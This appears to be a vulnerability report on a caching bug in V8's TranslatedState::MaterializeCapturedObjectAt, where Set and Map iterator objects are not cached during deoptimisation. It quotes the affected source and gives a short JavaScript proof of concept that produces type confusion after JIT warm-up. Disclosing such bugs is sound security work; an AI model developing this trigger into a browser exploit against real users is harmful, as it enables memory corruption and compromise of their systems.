Chrome: V8: TranslatedState::MaterializeCapturedObjectAt caching bug

Here'a snippet of TranslatedState::MaterializeCapturedObjectAt.“` case JS_SET_KEY_VALUE_ITERATOR_TYPE: case JS_SET_VALUE_ITERATOR_TYPE: { Handle<JSSetIterator> object = Handle<JSSetIterator>::cast( isolate_->factory()->NewJSObjectFromMap(map, NOT_TENURED)); Handle<Object> properties = materializer.FieldAt(value_index); Handle<Object> elements = materializer.FieldAt(value_index); Handle<Object> table = materializer.FieldAt(value_index); Handle<Object> index = materializer.FieldAt(value_index); object->set_raw_properties_or_hash(*properties); object->set_elements(FixedArrayBase::cast(*elements)); object->set_table(*table); object->set_index(*index); return object; } case JS_MAP_KEY_ITERATOR_TYPE: case JS_MAP_KEY_VALUE_ITERATOR_TYPE: case JS_MAP_VALUE_ITERATOR_TYPE: { Handle<JSMapIterator> object = Handle<JSMapIterator>::cast( isolate_->factory()->NewJSObjectFromMap(map, NOT_TENURED)); Handle<Object> properties = materializer.FieldAt(value_index); Handle<Object> elements = materializer.FieldAt(value_index); Handle<Object> table = materializer.FieldAt(value_index); Handle<Object> index = materializer.FieldAt(value_index); object->set_raw_properties_or_hash(*properties); object->set_elements(FixedArrayBase::cast(*elements)); object->set_table(*table); object->set_index(*index); return object; }“`For these 5 types, it doesn't cache the created objects like "`slot->value_ = object`". This can be used to create different objects but sharing the same properties which may lead to type confusion.PoC:“`function opt(b) { let iterator = new Set().values(); iterator.x = 0; let arr = [iterator, iterator]; if (b) return arr.slice();}for (let i = 0; i < 100000; i++) opt(false);let res = opt(true);let a = res[0];let b = res[1];print(a === b); // falsea.x = 7;print(b.x); // 7a.a = 1.1; // transitionb.b = 0x1234;a.a = 1.1; // type confusion“`